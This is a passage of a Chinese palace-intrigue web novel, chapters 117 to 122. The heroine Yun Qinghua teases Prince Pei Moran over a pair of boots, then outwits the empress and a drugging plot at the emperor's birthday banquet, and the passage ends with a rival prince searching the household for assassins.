“不等了吗?”她眨眨眼。 他沉声道:“再等下去,我怕母后会出手。” 云清婳的嘴角掠起了一抹笑。 但她的心隐隐有些不安,因为苏灵音这个狠角色还未出手。 …… 下午时,沈沁又被禁足了,原因尚未可知。 想必是沈沁散布谣言的消息被裴墨染查出来了。 但京兆尹对裴墨染还有用,所以他给沈沁留了余地。 云清婳站在后花园里,修剪花枝。 飞霜快步走来,“主子,赵婉宁那边有异动。” 第117章 裴墨染耍心机,求靴子 “嗯?”她蹙眉。 “咱们的人看见春苗鬼鬼祟祟的,往长信殿去了。”飞霜道。 长信殿是裴墨染的寝宫。 多年未住人,年久失修,最近一修葺完毕,裴墨染便命心腹将一箱箱卷宗、机要之类的密件全都移送进去了。 云清婳的眼珠子滴溜溜一转,其中倏地散出精明的光。 “我倒有些好奇,她一个无权无势之人,还能折腾出什么水花。”说着,她咔嚓一下剪去盆中的牡丹。 “赵婉宁跟王爷毕竟相识七年,相恋五年,她或许知道许多咱们不知的密辛,不得不防啊。”飞霜眯着眼,心里隐隐不安。 赵婉宁安分太久,突然出手,就怕她在殊死一搏。 …… 晚上,云清婳被召去了长信殿。 飞霜笑道:“恭喜主子,听说就算是赵婉宁都不准进长信殿,看来王爷是真的打算立您为正妃了。” 云清婳瞥着做好的暗蓝色锦绣皂靴,“把它带上。” 飞霜露出坏笑,“是。” 一想到等会儿会发生什么,她就想笑。 她最喜欢看主子逗狗了! 到了长信殿,裴墨染还在处理政务。 他听见云清婳的脚步声,连忙将一个四四方方的机密盒锁住。 裴墨染朝她走来,抓住她的手,“手怎么这么凉?要不要生点火?” “都四月了。”她使劲摇头。 “夫君方才好像心情不错?” 裴墨染脸上的笑意淡了几分,他不愿跟女人讨论政事。 蛮蛮不该问的。 但他不愿为了这么点小事影响他们之间的感情。 裴墨染不咸不淡道:“前几个月西北旱灾,颗粒无收,饿殍遍地,好在最近都解决了。” “恭喜夫君。”她抬起小脸,笑吟吟地说。 裴墨染的眼神暗淡,转移话头,“去沐浴吧。” 云清婳垂下眼睫,遮住了眸底的嘲意。 瞧! 她不过是问了一句政事,裴墨染便不高兴了。 狗男人的爱,可真不值钱啊。 “我还想请夫君帮一个忙。”云清婳看向飞霜。 飞霜将一双暗蓝色皂靴呈上。 “这算什么帮忙?见外了。”裴墨染努力压制着嘴角上扬的弧度,可上扬的眼角出卖了他的心情。 云清婳去往梳妆台,卸去发髻上的钗环。 裴墨染接过皂靴,径自在紫檀木凳上坐下,他爱不释手地摩挲丝滑的缎面,上面还绣了一匹马。 “为何绣了马?”裴墨染凝眉不解。 他觉得这么问不妥,又改口道:“挺好,我就喜欢马。” 飞霜咬着下唇,使劲掐着大腿才没笑出声。 裴墨染看了鞋底,脸上的笑凝固住了,他又放在脚边比了比,“蛮蛮,靴子是不是做小了点?” 云清婳的唇角勾起一抹嘲弄,她对镜卸掉耳坠子,“不小啊,我特意做长了一指宽。” 裴墨染的神情古怪,“嗯,也行吧。” 他勉强也能穿。 不就是有点挤脚? 这可是蛮蛮的一番好意! 明天就穿去北镇抚司,让那群副将好好看看! 飞霜眼睁睁地看着裴墨染自己哄好了自己,不禁有点心疼他了。 “夫君,明日您路过户部,能不能托人把靴子送去给二哥?”云清婳道。 啪—— 靴子掉到了地上。 “什么?”他的声音猛地拔高。 云清婳知道他听清楚了,“二哥生辰快到了,这是我送他的生辰礼物。” 裴墨染猜测云家二公子属马。 他又尴尬又恼火,现在看着这双靴子就来气,“你派人送去相府不就好了?” “我怕大哥看见了吃醋啊。”她说着,推门去了浴室。 裴墨染感觉一记重拳打在了棉花上,一口气上不去下不来。 她就怕云家大公子吃醋,不怕他吃醋? 云清婳心中酣畅无比,她就是要狗男人吃瘪! 若是事事都顺着他的心意,他会不珍惜她的。 毕竟男人就是贱啊。 …… 睡前,云清婳正欲上榻,便看见床榻下很刻意地摆了一双边缘被磨破的皂靴。 她嗤笑了一声,裴墨染的小心思,真是幼稚到可笑。 “……” 她佯装没看见,径自上了榻。 裴墨染心急如焚。 蛮蛮的眼睛坏了吗? 云清婳躺在柔软的锦衾中,困意快袭来时,身侧的床榻重重往下一塌。 裴墨染钻进被褥,略带潮意的身子紧紧贴着她。 他通身有一股好闻的沉香气味。 “夫君好香啊。”她娇憨地在他脖颈间嗅了嗅,鼻尖蹭着他的喉结。 裴墨染感觉心口痒痒的,像被一片羽毛搔来掻去。 她每次撩人都不自知! “上哪学的?你都会调戏我了?”他刮了下她的鼻尖。 云清婳扬着脸,在他唇上落下一吻,“夫妻之间应该叫恩爱。” 裴墨染的心脏重重一跳,他恨不得立马将她就地正法,可他现在没心情。 他抓住她的小手,不让她乱撩,“蛮蛮,我的鞋有些不合脚,今日走了一天,脚磨得疼。” 她小脸一皱,作势要掀开被褥查看。 裴墨染心虚地将她搂得更紧,不准她动,“我没这么娇气,不必看。” “鞋小了,您怎么不早说啊?”云清婳掀开床帐,探出半边身子,看了下他特意摆出来的破旧的皂靴。 裴墨染思忖,现在蛮蛮应该知道怎么做了吧? 她沉吟一声,“唔……明日我就交代绣娘给您赶制两双。” 裴墨染的脸又垮了。 这小妮子怎么这么笨? 他长臂一伸,勾住她的腰,把人带进怀里,循循善诱:“蛮蛮,诸葛先生的鞋全是他夫人做的,他日日炫耀,真是烦人!好像谁没夫人一样!” 裴墨染心想,这已经是明示了,蛮蛮应该懂了吧?! 云清婳像是福至心灵,“夫君,我知道该怎么做了!” “你想怎么做?”他的脸上重新展开笑颜。 她正色道:“明日我拜托诸葛夫人给您赶制两双鞋。” 裴墨染:??? 他恨不得呕出二两血。 云清婳压制住嘴角,心里暗想,气死你个狗渣男! “你气死我了。”裴墨染的脸一沉,将她扑倒。 他浑身都是狠劲,犹如狂风骤雨席卷一切。 他在最后时刻,在她耳边吐息,“蛮蛮,我想要你亲手做的靴子!” 她含着泪,无助地点头。 完事后,她抽噎:“裴墨染,你就是个大傻子!” 裴墨染怔了怔,忽然反应过来,他摇了摇她的肩膀,“你知道?你故意逗我的?” 她哼了一声,像在气愤他的粗鲁。 “好蛮蛮,我错了,这一次我一定温柔。”他心中的淤塞瞬间消失了,取而代之的是欢畅。 云清婳瞪了他一眼,颤颤巍巍地从榻上起身。 她的肌肤透着薄红,脸上还挂着泪痕,一副被疼爱过度的模样,“夫君,按照规矩,我不可留宿,要回玄音阁了。” 裴墨染完全知道她的小心思,他把玩着她的青丝,不容商量道:“说规矩做什么?你知道的,我不会让你走。” 她气得在他胸口抓了一把,“您欺负人!” “好,这次换你欺负我!”他勾住她的腰肢。 一夜意乱情迷。 翌日清晨,天边泛起了鱼肚白。 裴墨染餍足地起身,他更衣后,俯身在云清婳的眉心落下一吻,“蛮蛮,多睡一会儿。” 第118章 蛮蛮让皇后出丑 “唔……”她含糊地应了一声。 他看着微微红肿的双眼,不禁有些懊恼,他昨晚应该节制的。 辰时,云清婳才醒来。 飞霜扶着她,低声道:“主子,春苗已经出手了,咱们要如何应对?” “不必应对,我大概知道她们在打什么算盘了。”她的眼中写着势在必得。 回到玄音阁后,裴云澈的眼线送来了一封信笺。 云清婳看都没看,就投进焚香炉烧成灰烬。 “主子,您也不看看?”飞霜有些担心。 她挑眉,讥诮地笑道:“放心吧,该着急的人不是我们。” 对主人忠诚的才是好狗! 裴云澈不乖,就要接受被抛弃。 她身为云家嫡女,又主动提出跟裴云澈恩断义绝。 无论是从利益还是尊严来看,裴云澈都绝对不甘心放手。 …… 没几日就到了万寿节。 云清婳跟裴墨染一同出席。 二人十指紧扣,穿着颜色相近的浅蓝色衣襟,远远看上去矜贵的气质浑然天成,好似一对壁人,情谊甚笃。 “啧啧,真恩爱啊,听说四皇兄要扶正云侧妃了?”睿王恶意调侃着,眼中闪过寒意。 裴云澈当即红了眼,宽大的衣袖中他的手紧攥成拳。 “皇弟早日续弦吧,年纪不小了。”裴墨染操着兄长的语气,心疼地看着他。 睿王磨着后槽牙,恨不得嚼碎裴墨染,他轻笑了声,“说到年纪,皇兄才应该抓紧,云妃的肚子里怎么还没传来好消息呢?” 裴墨染面不改色的反问:“皇弟怎么知道没有好消息呢?” “……”睿王又吃了瘪,语塞了半晌,尴尬地杵在原地。 裴墨染拍拍他的肩膀,像在安抚小孩子,“乖乖回位上坐好,干杵在这里挡着路了。” 睿王快气炸了,可只能憋在心里,生闷气。 拥护裴墨染的官员都掩着嘴笑了。 没想到短短数月,不善言辞的肃王都能将睿王怼得哑口无言。 云清婳也很惊讶。 一直以来,她都觉得裴墨染身为武将,实干大于言辩,不如其他皇子能说会道。 她的眼中升起星星点点的光亮,“夫君的嘴巴越来越厉害了。” “整日跟你吵架,练出来的。”他附在她耳畔,语气颇为骄傲。 云清婳嗔怪地乜了他一眼。 对面的裴云澈望着他们的琴瑟和鸣,怅然若失。 “皇后娘娘驾到!”太监扯着公鸭嗓喊道。 众人行礼。 只见,皇后牵着一位穿着娇嫩的鹅黄色襦裙的女子,女子的双眼浑圆,肤白胜雪,是个讨人喜欢的乖巧长相。 若说云清婳是惊艳绝色,那么这位女子便是气质超尘,耐看。 皇后牵着女子走到裴墨染面前。 裴墨染的面色暗淡,下意识蹙眉,“母后。” “呵呵……还记得吗?这是苏灵音表妹,小时候你满宫带她玩呢。”皇后笑得合不拢嘴,眼神故意刺了下云清婳。 “表妹跟当年一样,还是个孩子。”裴墨染挤出虚假的笑。 皇后一顿,有些不悦,“都十六岁了,不小了,不是孩子了。你带她到处走走!” “见过肃王哥哥、嫂嫂。”苏灵音乖巧的福福身,她天真无邪的脸上看不出一丝算计。 “苏姑娘有礼了。”云清婳福身回礼。 裴墨染轻捏云清婳的掌心,想要跟她传递当下的无奈。 毕竟文武百官都看着,他实在无法忤逆皇后。 “表妹想去哪儿走走?”裴墨染似乎放松了对苏灵音的防备,语气温柔。 “肃王哥哥,你跟嫂嫂陪我一起吧,女孩子在一起才有话说。”苏灵音柔声道,她的神色宁静淡然,与世无争。 皇后立即道:“本宫有话跟云侧妃说,你们二人先走吧。” “是。”苏灵音恭敬的福身。 裴墨染放开云清婳的手,深深看了她一眼,只好带着苏灵音离开。 云清婳目送二人离开,似乎受了天大的委屈,眼中泛着水光,楚楚可怜。 见状,众人也看明白了。 皇后这是想要扶持苏家,肃王妃之位十有八九落不到云家头上。 云丞相的脸色由晴转阴。 “清婳,本宫派人为你寻来了许多秘方,想必你很快就能为墨染开枝散叶。”皇后拉着云清婳的手,故意大声说道。 佛口蛇心! 这是故意当着众人的面,怪她无所出。 而她面对这么多人自然也不能反驳,否则就是以下犯上、家教不严。 “多谢皇后娘娘挂念,妾身回府就停了补身子的药。”云清婳拿出帕子,擦了擦眼角不存在的泪。 德妃捕捉到关键词,悠悠地问:“补身子的药?云侧妃的身子莫非很虚?” 皇后的眼底闪过幸灾乐祸。 体弱多病,光是这一条,就不配做肃王妃了! 云清婳强颜欢笑,“德妃娘娘恐怕忘了,妾身年关才小产,刚坐完小月子。都怪妾身无能,没有怀上皇嗣,让皇后娘娘担心了。” 话音刚落,一颗泪珠从她的眼中坠落。 “对啊,云侧妃才小产!让她喝劳什子秘方,速速怀孕,就算牲口也不能这样造啊。”一个武将的夫人忍不住道。 几个官夫人应声,“唉,太可怜了。” “云侧妃可是第一贵女,当初风光无限,成亲后憔悴了不少啊。” 一旁的虞贵妃笑得肩膀高低起伏,幸灾乐祸地睨着她。 皇后的脸都绿了。 原来云清婳在这儿等着她呢! 现在众人都觉得她是一个冷血无情,眼里只有皇嗣的婆母,损了她平日里温婉大度、母仪天下的形象。 她气得手抖。 裴云澈的心像是被刺了一刀,他开口解围:“母后,宴席快开始了,您快去凤位歇息吧。” 皇后挤出笑,被白嬷嬷扶着登上了台阶。 她恨恨地盯着云清婳,气得太阳穴突突直跳。 …… 宴会伊始,裴墨染才带着苏灵音姗姗来迟。 上首,皇后侧着身子,笑道:“陛下,您瞧,墨染跟灵音多般配啊。” “嗯。”皇上捏着酒爵,漫不经心地颔首。 皇后半玩笑道:“清婳倒是极好,本宫把她当亲女儿疼。只可惜,嫁给墨染这么久,只有苦劳没有功劳。” “……”皇上敷衍地颔首。 皇后又坚持不懈,故意把话题往裴墨染、苏灵音身上引,可皇上皆不搭腔。 这让她宛若被泼了盆冷水。 第119章 秽乱宫闱,蛮蛮的绣花鞋落下了 “西北干旱,几位皇儿治理有功,朕心甚慰!”皇上冷不丁说了一句。 登时宴厅安静,落针可闻。 裴云澈的面色淡然,唇边扬起标志性的温润弧度。 睿王骄傲地挺胸抬头。 皇后欣慰的望着裴云澈。 虞贵妃也欣赏地看着睿王。 “云澈这些日子为百姓操劳,清减了不少,朕都看在眼里。”皇上的眼中含着无尽的宠溺、爱护。 这不是君臣之间应该拥有的眼神,而是父子间的真情流露。 裴云澈跪下拱手,“能为父皇分忧,是儿臣的荣幸。” 皇上欣慰地颔首,他又看向旁边的睿王,神情威严了几分,“宴庭为救助难民,集结各地商贾,着实下了一番心血。” “儿臣幸不辱命。”睿王的脸上都是得意。 最后,皇上将目光落在了裴墨染身上,“墨染对边地极为熟悉,用最快的速度,从附近城池调了粮仓的粮草,平息暴乱。” “云侧妃带领姬妾联合皇商捐了五千石粮草、辎重,保证源源不断的供给。” “放眼长远,未雨绸缪,如此甚好。” 皇上看裴墨染的眼神多了一丝欣赏。 “尔食尔禄,民脂民膏,这是儿臣应该做的。”裴墨染铿锵有力的回答。 皇上的视线一挪,看向云清婳,面色和蔼了几分,“云侧妃温恭懋著,端赖柔嘉,如今立了大功,可以向朕讨个赏赐!” 云清婳跪地叩首,“臣妾不敢,这并非臣妾一人的功劳,还有皇商江家以及王府的魏夫人。” “他们都有赏赐,放心。”皇上摩挲着拇指上的玉质扳指,眼神柔和。 云清婳思忖了片刻,俏皮地眨眨眼,“臣妾愚笨,皇上能否让臣妾先欠着?” 许多人不禁倒吸了口凉气。 她当皇上是她爹? 在这里讨价还价。 可上首传来了浑厚爽朗的笑声。 “哈哈哈哈……”皇上颔首,“好!先欠着!” 其他皇子的脸色都很难看。 宴席很快又热闹起来。 皇后、裴墨染黑了脸。 裴墨染的眼中有复杂的情绪在窜动,他心中很惊讶,他没想到边地的饥荒,蛮蛮也出手了。 可前几日,他还因为蛮蛮多问了几句而不高兴。 他不确定蛮蛮当时看出来没有。 “你向边地捐粮草的事,为何不告诉本王?”他正色问。 云清婳看着他,“救济百姓,我常年在做,没什么好说的。而且前几日在长信殿我本想说的,可是您不愿多谈,我何必自讨没趣?” 裴墨染心虚地错开她的眼神。 果然,蛮蛮什么都能看出来。 蛮蛮帮了他这么大的忙,可他还对蛮蛮甩脸色,他真是愚昧得可笑。 “是为夫错了,娘子原谅为夫这一次?”他凑在她耳边讨好。 云清婳挠了挠耳廓,她娇嗔道:“好痒,您别这样啊,别人都看着呢。” 裴墨染低笑。 对面的裴云澈的眼眸如一潭死水,孤寂幽深,他在席位上一杯一杯地喝酒,从未这般失态。 趁着裴墨染走到上首递交奏折时,苏灵音走到云清婳身边。 她的脸蛋稚嫩,笑靥单纯,毫无杂质,“嫂嫂,其实方才我跟肃王哥哥说了,我知道他不想娶我,我也不愿坐冷板凳,我会劝姑母的。” “苏姑娘莫要犯险,这都是皇后娘娘的恩赐,我们作为晚辈的,又有什么资格说不呢?”云清婳柔声道。 苏灵音摇摇头,她豁达地说:“嫂嫂,肃王哥哥是天下顶好的男儿,可我也是天下顶好的女子,我为何不能嫁给相爱的人,非要嫁给肃王哥哥整日黯然神伤呢?” 云清婳的眼底升起几分欣赏,“人生在世,很多事都是身不由己的,但我祝愿苏姑娘顺遂。” “借嫂嫂吉言。”苏灵音重重颔首。 二人有种惺惺相惜之感。 可云清婳心中却在冷笑,在原著中苏灵音正是靠这番清醒、独立的发言,让姐姐卸下心防的。 但她可是一个毒妇,她不会像姐姐一般心善,被苏灵音糊弄! 苏灵音跟她举杯相撞,激起了酒花。 二人对饮了几杯,没一会儿苏灵音便醉晕了过去,伏案小憩。 这引起周围席位上不少人嗤笑。 云清婳喝了不少,这会儿也感觉脑袋酸胀,浑身发热,她兀自走到外面吹风。 忽的,她感到腰肢发紧。 一股大力把她往暗处拖拽。 “啊……”她才惊呼一声,便被人捂住了嘴。 高大的身影将她抵在冰冷的墙壁上。 睿王淫邪的望着她,他的双颊红到发紫,气色极为不正常。 “睿王殿下?!”她的唇瓣都在颤。 “小美人!”睿王表情轻浮,噘着嘴,就要往她的腮边凑。 云清婳瞳孔微怔,“睿王殿下,你看清楚,我是云清婳!” “少啰嗦。”他紧紧捏着她的下巴,如同一头发情的野兽。 云清婳登时明白了,睿王十有八九是被人下药了。 后面有人在操纵全局。 就在睿王的唇要碰到云清婳时,他忽的双腿一软,倒在地上。 飞霜一记手刀劈晕了睿王。 “主子,您跟睿王都中药了,您的剂量轻,他的剂量重。”她笃定的说。 云清婳眼底蕴出浓墨重彩。 这是想一石二鸟,毁了她,顺便再毁了睿王。 她的心中已经有了猜测。 “主子,咱们快走吧。”飞霜不安地四处张望。 云清婳抬脚踹了踹死猪般的男人,“若是现在走了,岂不是太可惜了?” “您是想……” …… 宴席渐渐到了尾声。 苏灵音这才堪堪转醒,她眯着眸子,左右张望,“唔……嫂嫂呢?” 裴墨染也蹙起了眉头,“蛮蛮去何处了?整个宴席都没看见。” “对啊,睿王殿下也不见好久了。”不知谁说了一句。 “方才好像还有宫人说,哪位大人失足坠进太液池了。” “快去找啊!” 裴墨染、裴云澈鬓角的青筋鼓起,他们下意识看向了上首的皇后。 皇后眸子紧缩,气得攥紧了拳头。 紧接着,几人跑了出去。 虞贵妃捂着心口,心中也惴惴不安,她也起身带人寻找起来。 离宴厅不远的假山后,传出淫乱的呻吟、喘息声。 后面的人浑然不知天地为何物。 一件赤红色鸳鸯肚兜还躺在草地上。 旁边还有一只浅紫色绣花鞋落在一旁。 裴墨染、裴云澈远远就看到了这只绣花鞋。 二人如遭雷劈。 他们的眼中泛起了酸涩、愤怒、屈辱的水光,反应如出一辙。 这是蛮蛮的绣花鞋! 第120章 中了马上风 “这、这是什么声音?”一个小宫女发问。 裴墨染、裴云澈的脸色发绿,周身气场森冷,像是恨不得将所有人冻死。 虞贵妃的视线锁定了绣花鞋,她阴恻恻地勾起唇角,小跑着越过裴墨染、裴云澈,带着十几个宫女、太监大步上前。 “大胆!万寿节宫宴上秽乱宫闱,辱没圣上,罪不容诛!” 宫人拎着灯笼将他们团团包围,亮堂堂的光撒在了身子赤条,相互纠缠的二人身上。 啊—— 有人发出惊呼。 随后,虞贵妃的脸惨白,她砰的一声瘫软在地。 “都滚!都滚!不准看了,不准看了!”她失态地尖叫。 裴墨染、裴云澈心如刀割。 他们推开人群,大步上前一看,眸中的伤痛、绝望瞬间被惊喜代替。 不是蛮蛮! 而是一个太监跟睿王! 睿王赤身裸体,皮肤泛着红色,双眼迷离,还跟太监紧紧交缠。 “嘶……”裴云澈重重甩袖,膈应地转身。 裴墨染也颇为鄙夷,他蹲下身,不动声色地将云清婳的绣花鞋揣进袖中。 裴云澈看见了,心中酸涩不已。 “将他们二人分开啊!吾儿中药了,被人陷害了!”虞贵妃扭头,恶狠狠瞪着裴墨染、裴云澈。 太监都在尝试将二人分开。 可无论怎么样都分不开。 “呜呜呜……究竟是哪个烂心肠的给吾儿下药!可恶至极!本宫定会让你父皇为你讨回公道,将恶人碎尸万段!”虞贵妃咬牙切齿,眼泪扑簌簌地落。 太监颤巍巍的跪地,“贵妃娘娘,不好了,分不开啊!睿王像是中了……马上风。” “马上风?!”虞贵妃一口气没上来,险些晕了过去。 这可是奇耻大辱啊。 在万寿节,睿王淫乱,中了马上风,还是跟一个太监! 裴墨染胃里翻江倒海,他颇有几分幸灾乐祸,“虞贵妃,这是会要人命的,快传太医吧。” “可……”虞贵妃哭得梨花带雨,权衡之下,找了块布将二人遮住,就近抬进了附近的宫殿。 另一边,裴墨染、裴云澈仍旧在寻找云清婳。 方才他们看见绣花鞋的一刹那,心都快跳出嗓子眼了。 心头肉都像是被人生生剜了去。 “皇兄还是回宴厅吧。”裴墨染语气不善。 裴云澈狭长的眸子一瞥,鄙夷道:“都这个时候了,你还要争风吃醋?” 裴墨染瞪了他一眼,跟他分头寻找。 在长廊的角落里,云清婳正抱膝坐在台阶上。 裴墨染看见羸弱孤零零的小人儿,心尖像是被绣花针扎了似的,细细密密的疼。 他快步跑上前,“蛮蛮。” “夫君!”她声音破碎,再也抑制不住,跟孩子似的嚎啕大哭。 裴墨染匆忙跑来,他蹲下身抱住她,长长的衣摆将她包裹进怀中,给足安全感。 他双臂都在颤抖,回想起方才触目惊心的一幕,心好像裂开了。 他以为睿王强迫了蛮蛮…… “方才是怎么了?你为何在这里?”他的额头抵着她的额,呼吸浓重。 云清婳的身子轻颤,“我身子燥热,出来醒酒,突然睿王就将我掳走,对我意欲行不轨之事,多亏了一个太监出现,紧接着睿王就推开我,跟太监亲了起来……” “我吓得绣花鞋都跑掉了,所以不敢回宴厅。” 裴墨染冗长地舒了口气,若是睿王没有龙阳之癖,恐怕蛮蛮必会遭遇毒手。 他从袖中拿出她的绣花鞋,捏着她的左脚脚踝,仔细为她的脚套上鞋。 “莫怕。”他嘴上这么说着,可双手抖得厉害。 “夫君,蛮蛮是不是做错事了?”云清婳的眼泪汇聚在鼻尖。 裴墨染的心都在颤抖,“不关蛮蛮的事,我们中计了。” 准确来说,是他们跟睿王都中计了。 好在火没有烧到他们身上,只有睿王倒了霉。 他的脑中出现了许多人的身影,皇后、苏灵音以及躲在暗处的政敌…… “呜呜呜……究竟是何人要害我?”云清婳实在抖得厉害,像是受惊的奶猫。 他看在眼里,疼在心里,捏着她的双肩,“蛮蛮,方才本王已经将奏折递上去了,不出意外,很快册立肃王妃的圣旨就下来了。” “嗯……”她软软糯糯地应声,紧绷的身子稍微松软了一点。 裴墨染感受到她的放松,唇瓣落在她的唇上,跟哄孩子似的安慰:“别怕啊,本王守着你。” 拱圈门下,裴云澈看到这一幕,胸口郁结,恨不得吐出一口血。 之前在京郊外的村落里,他也为蛮蛮穿过绣花鞋。 蛮蛮意欲吻他,可他躲开了。 他突然后悔那一日没有接受蛮蛮的吻,他嫉妒地窥探着裴墨染。 …… 回到宴厅,苏灵音看到云清婳时,眸色复杂。“嫂嫂!你方才去哪儿了?让我好生担心。” “醒酒去了。”云清婳不紧不慢地说。 “看来我们二人都不可贪杯,方才我都睡着了。”苏灵音愧疚的福福身。 云清婳回礼。 她心中冷笑。 苏灵音,没有害着我,你很失望吧? 在云清婳看来,苏灵音的确是目前最强劲的对手。 今晚这件事,苏灵音完美地将自己摘了出来,她没有作案时间、没有作案动机。 甚至,如果没猜错的话,她也中药了。 睿王跟太监淫乱,中了马上风的事很快就传开了。 皇上震怒,大发雷霆,可看在虞将军的面子上才没有惩戒。 虞贵妃跪求皇上寻找下药之人,可这是丑闻,皇上不愿过多纠缠,只是敷衍地答应了。 …… 回府后,裴墨染让府医给云清婳检查了身子,果然在她体内检验到了小剂量的春药。 云清婳听后趴在他怀中哀哀地哭泣。 裴墨染心疼坏了,但他更恼怒。 究竟是何人如此歹毒! 尽管皇后的可能性很大,但他不愿相信皇后会下手这么狠。 这足以毁了他的颜面,让他再也抬不起头啊。 “蛮蛮,你今晚吃了什么?嗯?”他问。 云清婳很想直接把苏灵音抖落出来。 可她不敢。 她不敢赌裴墨染对她的信任度。 若是直指苏灵音,说不定裴墨染会觉得她心机深重。 云清婳回忆了下,一步步引导:“只吃了菜,还跟苏姑娘吃了几杯酒。” “但应该不是苏姑娘,她没有理由害我啊,她说了不愿嫁给您,而且她也喝酒了。” 裴墨染的眸子微眯。 苏灵音尽管说了她不愿嫁给他,但这本身就很虚妄。 倘若她真不愿嫁,凭借皇后对她的宠爱,她一定有办法逃脱婚事,毕竟苏家的女儿很多,不是非她不可。 “蛮蛮,你只需相信本王,旁人的话听听就好。苏灵音毕竟是皇后的侄女,他们才是一家人。”他道。 第121章 有内鬼 云清婳的手指无意识地戳着他的胸口,“您怀疑苏姑娘?可她只是未出阁的丫头啊,而且睿王跟她又没有过节。” “倘若你跟睿王被陷害成功,受益者是谁?”裴墨染循循善诱。 “皇后娘娘跟苏姑娘。”她嗫嚅道。 裴墨染又道:“皇后极其心疼苏灵音,绝不会给苏灵音下药,可见苏灵音的反应,她十有八九也中药了。” 苏灵音以为给自己下药就能洗清嫌疑,殊不知这正好排除了皇后的嫌疑。 可笑! 云清婳好似恍然大悟,“可是,苏姑娘看起来真的不像。” “蛮蛮,本王不想骗你,皇后逼得太紧了,本王会娶苏灵音,但正妃只有你。”他亲亲她的脸颊。 这样的话术,真是似曾相识。 曾经他对赵婉宁也是这么说的吧? 可转眼,他就爱上了她。 说不定,再过几个月,他也会被苏灵音勾了心魂。 云清婳嘟着嘴,“我看你是被苏姑娘勾了心神,还一副勉为其难的样子,其实心里乐开了花。” 裴墨染觉得委屈,他捏着她的下巴,正色道:“每次跟你吵架,我都气得半死。你一个我都应对不来,哪有功夫跟其他女人周旋,我嫌命长?” “谁知道呢?说不定你就喜欢别人捧着你,是吧?肃王哥哥?”她狠狠推开他,躺在榻上背对着他。 裴墨染一噎,他强行将她的身子翻过来,逼她面对他。 “你吃醋了?”他脸上紧绷的线条柔和下来,面上带着丝丝笑。 “没有。” “你吃醋了!” “没有!” “还说没有,你嘴巴撅得都可以挂油壶了。” 他厚脸皮的在她脖颈间偷香了一把,嗅着她身上独特的香气,浑身都松快不少。 云清婳夹了他一眼,鼻酸道:“您明明知道别人害我,还把别人娶回家。” 裴墨染心中苦涩,他解释道:“蛮蛮,苏灵音何尝不是在害我?她是母后派来监视我的,若是拒绝她,母后也会派其他暗线来。至少苏灵音是明面上的。” “夫君是想反客为主,利用苏灵音?”她乌溜溜的眼珠一转。 他颔首,“皇后想看见什么,我们便演给苏灵音什么。蛮蛮,你可以的吧?” “您肯定是为了娶苏灵音进门,故意唬我。”她将脸埋在他的胸口上,小拳头砸他胸口。 裴墨染有些着急,“我们的情分岂是旁人能比的?苏灵音是苏家人,我倘若愚蠢至此,对她有了心思,皇位便拱手让给裴云澈吧。” 她怅然若失,“我越发看不清您的心了。” “何心意不是跟你说了吗?男人的钱跟权在哪儿,爱就在哪儿,王妃之位都是你的,你还担心什么?”他轻点她的鼻尖。 云清婳抱着他的腰,心里舒畅许多。 狗男人真是越来越上道了。 …… 万寿节当晚,瓦剌刺客夜袭京城,裴墨染当晚便匆匆离府,带领北镇抚司搜查刺客。 皇上震怒,当晚派了近侍、京兆尹、御林军联合搜寻。 睿王或许是想挽回在皇上心中的形象,主动请缨寻找。 终于,在第二日,他查出了头绪。 金銮殿上,睿王手中拿出一枚瓦片。 “父皇,儿臣搜查出刺客的行迹了!” 皇上轻扬下巴示意他接着说。 睿王觑了眼裴墨染,轻嗤道:“不知北镇抚司为何一夜没有搜查出刺客!本王的侍从今晨儿在肃王府的屋檐上,发现了一个鞋印,跟刺客的鞋印一致。” “这枚瓦片上的泥渍未干,敢问肃王,刺客都爬到你家房顶上了,你为何知情不报?” 裴墨染的眸色一黯,他跪下拱手道:“本王昨晚收到消息,便匆匆离府搜查。刺客或许只是经过肃王府,睿王无凭无据,为何意有所指呢?” “这还不足称得上是证据?”睿王高举着瓦片。 裴墨染用看跳梁小丑的眼神瞥他,“父皇,刺客飞檐走壁,轻功不凡。儿臣已经整理好了满京印有刺客脚印的府邸的名册。” 北镇抚使呈上了一本名册,太监主管将名册呈给皇上。 皇上满意地翻阅起来。 “……”睿王咬牙切齿地瞪着裴墨染。 皇上威严的吐出一个字,“搜!” “是!”裴墨染拱手。 睿王道:“儿臣昨日遭歹人陷害,求父皇给儿臣一个戴罪立功的机会!” 虞将军开口道:“陛下,睿王本就在北镇抚司办差多年,甚是熟悉搜查流程,再者肃王的嫌疑并未洗清,慎重起见,还是派旁人搜查吧。” 虞将军的党派纷纷跪下,“睿王一片赤诚之心,还请皇上允准。” “准了!”皇上长袖一挥。 裴墨染的脸色阴沉下来。 “呵。”睿王转身时,挑衅地冲裴墨染挑眉。 裴墨染的眼底酝酿着一片风暴,他攥紧了双手。 今日的一切都实在太顺了,就像是有人特意安排好了一切。 恐怕他的府邸里,真的混进了老鼠。 他看向殿外,对贴身太监使了个眼色。 …… 玄音阁中,魏娴笑靥灿烂,她怀中抱着一卷圣旨。 “蛮蛮,我爹这辈子恐怕都没得到过皇上的嘉奖,可今晨儿皇上派人来送了许多赏赐。多谢你了。”魏娴感激的福福身。 没想到当初借给蛮蛮的一千两,能换来这么大的好处。 云清婳扶她坐下,笑道:“我们是盟友,光我一个好,怎么够呢?” 魏娴只感觉何其幸运,她站队了队伍,跟对了人。 跟着蛮蛮,比跟着王爷好多了。 “听说赵婉宁最近又猖狂起来,说自己要被放出去了,她莫不是又有动作?”魏娴担忧道。 云清婳抿了口香茗,“没错,她在垂死挣扎,冲我来的。” “我实在想不出,她已经油尽灯枯,还能凭什么陷害你。”她思忖着。 就在这时,管家气喘吁吁地跑来,“云侧妃,不好了,睿王带人来搜查王府了。” 云清婳倏地笑了,“你看,单凭赵婉宁自然陷害不了我,但她有帮手啊。” 魏娴的心头一紧。 恐怕这件事没这么容易过去啊。 第122章 肃王府被抄家? 睿王有皇上手谕,所以并不能阻拦。 他们气势汹汹,侍从粗鲁地翻箱倒柜,跟抄家似的。 睿王看着云清婳,莫名感到尴尬。 昨晚中药后的一幕幕,他还有印象。 他似乎轻薄了她…… “睿王殿下,还请您的人下手轻些,皇上命您搜查,可并未让您损毁财物。”云清婳福福身。 睿王冷哼了一声,斥道:“无知妇人,小家子气!” “倘若财物损毁,无知妇人会让您照价赔偿。”云清婳不卑不亢道。 见她面色决绝,他摆摆手,示意收队。 睿王恼火地命令:“去搜裴墨染的书房、寝殿!” “是。”侍从异口同声。 裴墨染赶回来时,正好看到这一幕,他欣赏地看着云清婳。 